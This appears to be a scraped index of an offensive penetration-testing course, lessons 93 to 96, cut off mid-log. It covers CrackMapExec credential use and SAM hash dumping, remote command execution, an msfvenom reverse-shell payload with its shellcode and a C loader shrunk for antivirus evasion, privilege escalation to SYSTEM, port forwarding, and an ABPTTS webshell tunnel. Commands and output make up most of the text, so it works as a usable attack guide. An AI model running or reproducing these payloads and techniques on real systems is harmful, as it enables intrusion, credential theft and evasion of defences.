署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/93_与CrackMapExec结合攻击.html":{"url":"Chapter1/91-100/93_与CrackMapExec结合攻击.html","title":"第九十三课:与CrackMapExec结合攻击","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,痛风等。 CrackMapExec弥补了MSF4下auxiliary,scanner模块下的Command执行方式,但MSF5已解决该问题。在MSF4下,该框架针对后渗透的横向移动经常出现,虽然MSF5已解决该问题,但该框架在配合bloodhound与empire依然目前有一定优势。 安装方式:from Wiki: Kali: apt‐get install crackmapexec 但作者推荐pipenv安装: apt‐get install ‐y libssl‐dev libffi‐dev python‐dev build‐essential pip install ‐‐user pipenv git clone ‐‐recursive https://github.com/byt3bl33d3r/CrackMapExec cd CrackMapExec && pipenv install pipenv shell python setup.py install Mac OSX: pip install ‐‐user crackmapexec 默认为100线程 cme smb 192.168.1.0/24 SMB 192.168.1.4 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) 密码策略 root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐pass ‐pol SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Dumping password info for domain: WIN03X64 SMB 192.168.1.119 445 WIN03X64 Minimum password length: None SMB 192.168.1.119 445 WIN03X64 Password history length: None SMB 192.168.1.119 445 WIN03X64 Maximum password age: 42 days 22 hours 47 minutes SMB 192.168.1.119 445 WIN03X64 SMB 192.168.1.119 445 WIN03X64 Password Complexity Flags: 000000 SMB 192.168.1.119 445 WIN03X64 Domain Refuse Password Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Store Cleartext: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Lockout Admins: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password No Clear Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password No Anon Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Complex: 0 SMB 192.168.1.119 445 WIN03X64 SMB 192.168.1.119 445 WIN03X64 Minimum password age: None SMB 192.168.1.119 445 WIN03X64 Reset Account Lockout Counter: 30 minutes SMB 192.168.1.119 445 WIN03X64 Locked Account Duration: 30 minutes SMB 192.168.1.119 445 WIN03X64 Account Lockout Threshold: None SMB 192.168.1.119 445 WIN03X64 Forced Log off Time: Not Set list hash root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐sam SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Dumping SAM hashes SMB 192.168.1.119 445 WIN03X64 Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: SMB 192.168.1.119 445 WIN03X64 Guest:501:aad3b435b51404eeaad3b435b51404ee:67f33d2095bda39fbf6b63fbadf2313a::: SMB 192.168.1.119 445 WIN03X64 SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:f4d13c67c7608094c9b0e39147f07520::: SMB 192.168.1.119 445 WIN03X64 IUSR_WIN03X64:1003:dbec20afefb6cc332311fb9822ba61ce:68c22a11c400d91fa4f66ff36b3c15dc::: SMB 192.168.1.119 445 WIN03X64 IWAM_WIN03X64:1004:ff783381e4e022de176c59bf598409c7:7e456daac229ddceccf5f367aa69a487::: SMB 192.168.1.119 445 WIN03X64 ASPNET:1008:cc26551b70faffc095feb73db16b65ff:fec6e9e4a08319a1f62cd30447247f88::: SMB 192.168.1.119 445 WIN03X64 [+] Added 6 SAM hashes to the database 枚举组 root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐local‐groups SMB 192.168.1.119 445 WIN03X64 [\\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Enumerated local groups SMB 192.168.1.119 445 WIN03X64 HelpServicesGroup membercount: 1 SMB 192.168.1.119 445 WIN03X64 IIS_WPG membercount: 4 SMB 192.168.1.119 445 WIN03X64 TelnetClients membercount: 0 SMB 192.168.1.119 445 WIN03X64 Administrators membercount: 1 SMB 192.168.1.119 445 WIN03X64 Backup Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Distributed COM Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Guests membercount: 2 SMB 192.168.1.119 445 WIN03X64 Network Configuration Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Performance Log Users membercount: 1 SMB 192.168.1.119 445 WIN03X64 Performance Monitor Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Power Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Print Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Remote Desktop Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Replicator membercount: 0 SMB 192.168.1.119 445 WIN03X64 Users membercount: 3 分别支持4种执行Command,如无--exec-method执行,默认为wmiexec执行。 mmcexec smbexec wmiexec atexec 基于smbexec执行Command root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method smbexec ‐x 'net user' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via smbexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S \\\\ ���û��ʻ� SMB 192.168.1.6 445 WIN‐5BMI9HGC42S SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ SMB 192.168.1.6 445 WIN‐5BMI9HGC42S Administrator Guest SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ����������ϣ�������һ���������� 基于dcom执行Command root\\@John:\\~\\# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method mmcexec ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via mmcexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\\administrator 基于wmi执行Command root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method wmiexec ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via wmiexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\\administrator 基于AT执行Command 目标机:无运行calc进程 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method atexec ‐x 'calc' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via atexec 默认采取wmiexec执行Command,参数为-x root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\\administrator 枚举目标机disk root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐disks SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Enumerated disks SMB 192.168.1.6 445 WIN‐5BMI9HGC42S C: SMB 192.168.1.6 445 WIN‐5BMI9HGC42S D: SMB 192.168.1.6 445 WIN‐5BMI9HGC42S E: 附录: 解决出现:STATUS_PIPE_DISCONNECTED 改成经典 解决出现错误:UnicodeDecodeError: 升级impacket Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/94_基于实战中的small-payload.html":{"url":"Chapter1/91-100/94_基于实战中的small-payload.html","title":"第九十四课:基于实战中的small payload","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机:192.168.1.5 Debian靶机:192.168.1.4 Windows 7192.168.1.119 Windows 2003 攻击机配置: payload:windows/meterpreter/reverse_tcp msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.5 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.5:53 payload生成: root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\\x00' ‐f exe > First.exe 原始payload大小如下:73802字节,大概在72KB root@John:/tmp# du ‐sb First.exe 73802 First.exe 第一次优化payload: 提取windows/meterpreter/reverse_tcp shellcode root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\\x00' ‐f c [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [‐] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 368 (iteration=0) x86/shikata_ga_nai chosen with final size 368 Payload size: 368 bytes Final size of c file: 1571 bytes unsigned char buf[] = \"\\\\xd9\\\\xc3\\\\xba\\\\xa1\\\\x43\\\\xe5\\\\x72\\\\xd9\\\\x74\\\\x24\\\\xf4\\\\x5d\\\\x29\\\\xc9\\\\xb1\" \"\\\\x56\\\\x31\\\\x55\\\\x18\\\\x03\\\\x55\\\\x18\\\\x83\\\\xc5\\\\xa5\\\\xa1\\\\x10\\\\x8e\\\\x4d\\\\xa7\" \"\\\\xdb\\\\x6f\\\\x8d\\\\xc8\\\\x52\\\\x8a\\\\xbc\\\\xc8\\\\x01\\\\xde\\\\xee\\\\xf8\\\\x42\\\\xb2\\\\x02\" \"\\\\x72\\\\x06\\\\x27\\\\x91\\\\xf6\\\\x8f\\\\x48\\\\x12\\\\xbc\\\\xe9\\\\x67\\\\xa3\\\\xed\\\\xca\\\\xe6\" \"\\\\x27\\\\xec\\\\x1e\\\\xc9\\\\x16\\\\x3f\\\\x53\\\\x08\\\\x5f\\\\x22\\\\x9e\\\\x58\\\\x08\\\\x28\\\\x0d\" \"\\\\x4d\\\\x3d\\\\x64\\\\x8e\\\\xe6\\\\x0d\\\\x68\\\\x96\\\\x1b\\\\xc5\\\\x8b\\\\xb7\\\\x8d\\\\x5e\\\\xd2\" \"\\\\x17\\\\x2f\\\\xb3\\\\x6e\\\\x1e\\\\x37\\\\xd0\\\\x4b\\\\xe8\\\\xcc\\\\x22\\\\x27\\\\xeb\\\\x04\\\\x7b\" \"\\\\xc8\\\\x40\\\\x69\\\\xb4\\\\x3b\\\\x98\\\\xad\\\\x72\\\\xa4\\\\xef\\\\xc7\\\\x81\\\\x59\\\\xe8\\\\x13\" \"\\\\xf8\\\\x85\\\\x7d\\\\x80\\\\x5a\\\\x4d\\\\x25\\\\x6c\\\\x5b\\\\x82\\\\xb0\\\\xe7\\\\x57\\\\x6f\\\\xb6\" \"\\\\xa0\\\\x7b\\\\x6e\\\\x1b\\\\xdb\\\\x87\\\\xfb\\\\x9a\\\\x0c\\\\x0e\\\\xbf\\\\xb8\\\\x88\\\\x4b\\\\x1b\" \"\\\\xa0\\\\x89\\\\x31\\\\xca\\\\xdd\\\\xca\\\\x9a\\\\xb3\\\\x7b\\\\x80\\\\x36\\\\xa7\\\\xf1\\\\xcb\\\\x5e\" \"\\\\x04\\\\x38\\\\xf4\\\\x9e\\\\x02\\\\x4b\\\\x87\\\\xac\\\\x8d\\\\xe7\\\\x0f\\\\x9c\\\\x46\\\\x2e\\\\xd7\" \"\\\\x95\\\\x41\\\\xd1\\\\x07\\\\x1d\\\\x01\\\\x2f\\\\xa8\\\\x5d\\\\x0b\\\\xf4\\\\xfc\\\\x0d\\\\x23\\\\xdd\" \"\\\\x7c\\\\xc6\\\\xb3\\\\xe2\\\\xa8\\\\x72\\\\xbe\\\\x74\\\\x93\\\\x2a\\\\xbf\\\\x81\\\\x7b\\\\x28\\\\xc0\" \"\\\\x89\\\\x4e\\\\xa5\\\\x26\\\\xd9\\\\xe0\\\\xe5\\\\xf6\\\\x9a\\\\x50\\\\x45\\\\xa7\\\\x72\\\\xbb\\\\x4a\" \"\\\\x98\\\\x63\\\\xc4\\\\x81\\\\xb1\\\\x0e\\\\x2b\\\\x7f\\\\xe9\\\\xa6\\\\xd2\\\\xda\\\\x61\\\\x56\\\\x1a\" \"\\\\xf1\\\\x0f\\\\x58\\\\x90\\\\xf3\\\\xf0\\\\x17\\\\x51\\\\x76\\\\xe3\\\\x40\\\\x06\\\\x78\\\\xfb\\\\x90\" \"\\\\xa3\\\\x78\\\\x91\\\\x94\\\\x65\\\\x2f\\\\x0d\\\\x97\\\\x50\\\\x07\\\\x92\\\\x68\\\\xb7\\\\x14\\\\xd5\" \"\\\\x97\\\\x46\\\\x2c\\\\xad\\\\xae\\\\xdc\\\\x10\\\\xd9\\\\xce\\\\x30\\\\x90\\\\x19\\\\x99\\\\x5a\\\\x90\" \"\\\\x71\\\\x7d\\\\x3f\\\\xc3\\\\x64\\\\x82\\\\xea\\\\x70\\\\x35\\\\x17\\\\x15\\\\x20\\\\xe9\\\\xb0\\\\x7d\" \"\\\\xce\\\\xd4\\\\xf7\\\\x21\\\\x31\\\\x33\\\\x84\\\\x26\\\\xcd\\\\xc1\\\\xa3\\\\x8e\\\\xa5\\\\x39\\\\xf4\" \"\\\\x2e\\\\x35\\\\x50\\\\xf4\\\\x7e\\\\x5d\\\\xaf\\\\xdb\\\\x71\\\\xad\\\\x50\\\\xf6\\\\xd9\\\\xa5\\\\xdb\" \"\\\\x97\\\\xa8\\\\x54\\\\xdb\\\\xbd\\\\x6d\\\\xc8\\\\xdc\\\\x32\\\\xb6\\\\xfb\\\\xa7\\\\x3b\\\\x49\\\\xfc\" \"\\\\x57\\\\x52\\\\x2e\\\\xfd\\\\x57\\\\x5a\\\\x50\\\\xc2\\\\x81\\\\x63\\\\x26\\\\x05\\\\x12\\\\xd0\\\\x39\" \"\\\\x30\\\\x37\\\\x71\\\\xd0\\\\x3a\\\\x6b\\\\x81\\\\xf1\"; 建立Micropoor_small_payload工程,配置如下: 源码如下: # include int main(void) { char *shellcode = (char *)\"Micropoor_shellcode\"; DWORD Micropoor_shellcode; BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &Micropoor_shellcode); if (!ret) { return EXIT_FAILURE; } ((void(*)(void))shellcode)(); return EXIT_SUCCESS; } 原始shellcode_payload大小如下: 75776字节 优化: 在优化的过程中,需要确保 性能 稳定性 大小 可塑性 免杀性 非算法,故优化/01 无使用预编译头,故否 无需调试信息,故否 自定义入口点:execMicropoor_shellcode 再次编译: payload大小如下:4608字节 第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.5:53 [*] Sending stage (179779 bytes) to 192.168.1.119 [*] Meterpreter session 4 opened (192.168.1.5:53 ‐> 192.168.1.119:3887) at 2019‐01‐27 14:30:27 ‐0500 meterpreter > getuid Server username: WIN03X64\\Administrator meterpreter > 第二次优化payload: 载入PEID 合并data to text,rdata to text 在次生成。 Section变化如下: payload大小如下:4096字节 第二次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.5:53 [*] Sending stage (179779 bytes) to 192.168.1.119 [*] Meterpreter session 9 opened (192.168.1.5:53 ‐> 192.168.1.119:3891) at 2019‐01‐27 14:46:20 ‐0500 meterpreter > getuid Server username: WIN03X64\\Administrator meterpreter > getpid Current pid: 1232 第三次优化payload: 在00000E60起含有大部分000h,充填掉00,在次生成payload。 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, .... payload大小如下: 3174字节 第三次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:/MT msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.5:53 [*] Sending stage (179779 bytes) to 192.168.1.119 [*] Meterpreter session 11 opened (192.168.1.5:53 ‐> 192.168.1.119:3894) at 2019‐01‐27 14:56:30 ‐0500 6 meterpreter > getuid Server username: WIN03X64\\Administrator meterpreter > getpid Current pid: 3152 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM 第四次优化payload: ....... 文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到3174字节,接下来的季中,会继续优化。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/91-100/95_基于Portfwd端口转发.html":{"url":"Chapter1/91-100/95_基于Portfwd端口转发.html","title":"第九十五课:基于Portfwd端口转发","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下: https://github.com/rssnsj/portfwd 攻击机:192.168.1.5 Debian 靶机:192.168.1.4 Windows 7192.168.1.119 Windows 2003 msf exploit(multi/handler) \\> sessions ‐l Active sessions =============== Id Name Type Information Connection ‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐ 1 meterpreter x86/windows WIN03X64\\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119) msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig' [*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119) Windows IP Configuration Ethernet adapter 本地连接: Connection‐specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.119 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 22 靶机IP为:192.168.1.119---windows 2003---x64 需要转发端口为:80,3389 msf exploit(multi/handler) > sessions ‐i 1 [*] Starting interaction with 1... meterpreter > shell Process 4012 created. Channel 56 created. Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985‐2003 Microsoft Corp. C:\\Documents and Settings\\Administrator\\桌面>if defined PSModulePath (echo ok!) else (echo sorry!) if defined PSModulePath (echo ok!) else (echo sorry!) sorry! C:\\Documents and Settings\\Administrator\\桌面>net config Workstation net config Workstation 计算机名 \\\\WIN03X64 计算机全名 win03x64 用户名 Administrator 工作站正运行于 NetbiosSmb (000000000000) NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D) 软件版本 Microsoft Windows Server 2003 工作站域 WORKGROUP 登录域 WIN03X64 COM 打开超时 (秒) 0 COM 发送计数 (字节) 16 COM 发送超时 (毫秒) 250 命令成功完成。 C:\\Documents and Settings\\Administrator\\桌面>netstat ‐an|findstr \"LIST ENING\" netstat ‐an|findstr \"LISTENING\" TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING TCP 192.168.1.119:139 0.0.0.0:0 LISTENING meterpreter > portfwd ‐h Usage: portfwd [‐h] [add | delete | list | flush] [args] OPTIONS: ‐L Forward: local host to listen on (optional). Reverse: local host to connect to. ‐R Indicates a reverse port forward. ‐h Help banner. ‐i Index of the port forward entry to interact with (see the \"list\" command). ‐l Forward: local port to listen on. Reverse: local port to connect to. ‐p Forward: remote port to connect to. Reverse: remote port to listen on. ‐r Forward: remote host to connect to. 攻击机执行: meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 [*] Local TCP relay created: :33389 192.168.1.119:3389 meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80 [*] Local TCP relay created: :30080 192.168.1.119:80 meterpreter > portfwd Active Port Forwards ==================== Index Local Remote Direction ‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ 1 0.0.0.0:33389 192.168.1.119:3389 Forward 2 0.0.0.0:30080 192.168.1.119:80 Forward 2 total active port forwards. 查看攻击机LISTEN端口:转发已成功 root@John:~# netstat ‐ntlp |grep :3 tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4 Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/96_HTTP隧道ABPTTS第一季.html":{"url":"Chapter1/91-100/96_HTTP隧道ABPTTS第一季.html","title":"第九十六课:HTTP隧道ABPTTS第一季","keywords":"","body":"ABPTTS简介: ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。 2016年blackhat介绍:https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Github:https://github.com/nccgroup/ABPTTS 安装与生成payload: root@John:~# git clone https://github.com/nccgroup/ABPTTS.git Cloning into 'ABPTTS'... remote: Enumerating objects: 50, done. remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50 Unpacking objects: 100% (50/50), done. root@John:~# pip install pycrypto Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist‐packages (2.6.1) root@John:~# cd ABPTTS/ root@John:~/ABPTTS# ls abpttsclient.py abpttsfactory.py ABPTTS‐Manual.pdf data libabptts.py license.txt README.md settings_overlays template root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell [2019‐01‐28 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐ [2019‐01‐28 08:24:28.131954] ‐‐==[[ ‐ Factory ‐ ]]==‐‐ [2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group [2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30 [2019‐01‐28 08:24:28.132706] Output files will be created in \"/root/ABPTTS/webshell\" [2019‐01‐28 08:24:28.132722] Client‐side configuration file will be written as \"/root/ABPTTS/webshell/config.txt\" [2019‐01‐28 08:24:28.132739] Using \"/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt\" as a wordlist file [2019‐01‐28 08:24:28.136713] Created client configuration file \"/root/ABPTTS/webshell/config.txt\" [2019‐01‐28 08:24:28.137760] Created server file \"/root/ABPTTS/webshell/abptts.jsp\" [2019‐01‐28 08:24:28.138342] Created server file \"/root/ABPTTS/webshell/abptts.aspx\" [2019‐01‐28 08:24:28.138492] Created server file \"/root/ABPTTS/webshell/war/WEB‐INF/web.xml\" [2019‐01‐28 08:24:28.138555] Created server file \"/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF\" [2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/scabGroup.war [2019‐01‐28 08:24:28.139140] Unpacked WAR file contents:/root/ABPTTS/webshell/war 靶机执行: 以aspx为demo。 攻击机执行: 注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port python abpttsclient.py ‐c webshell/config.txt ‐u \"http://192.168.1.119/abptts.aspx\" ‐f 192.168.1.5:33389/192.168.1.119:3389 root@John:~/ABPTTS# python abpttsclient.py ‐c webshell/config.txt ‐u \"http://192.168.1.119/abptts.aspx\" ‐f 192.168.1.5:33389/192.168.1.119:3389 [2019‐01‐28 08:33:25.749115] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐ [2019‐01‐28 08:33:25.749153] ‐‐==[[ ‐ Client ‐ ]]==‐‐ [2019‐01‐28 08:33:25.749160] Ben Lincoln, NCC Group [2019‐01‐28 08:33:25.749169] Version 1.0 ‐ 2016‐07‐30 [2019‐01‐28 08:33:25.750372] Listener ready to forward connections from 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 08:33:25.750392] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560180] Client connected to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560365] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:28.560655] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 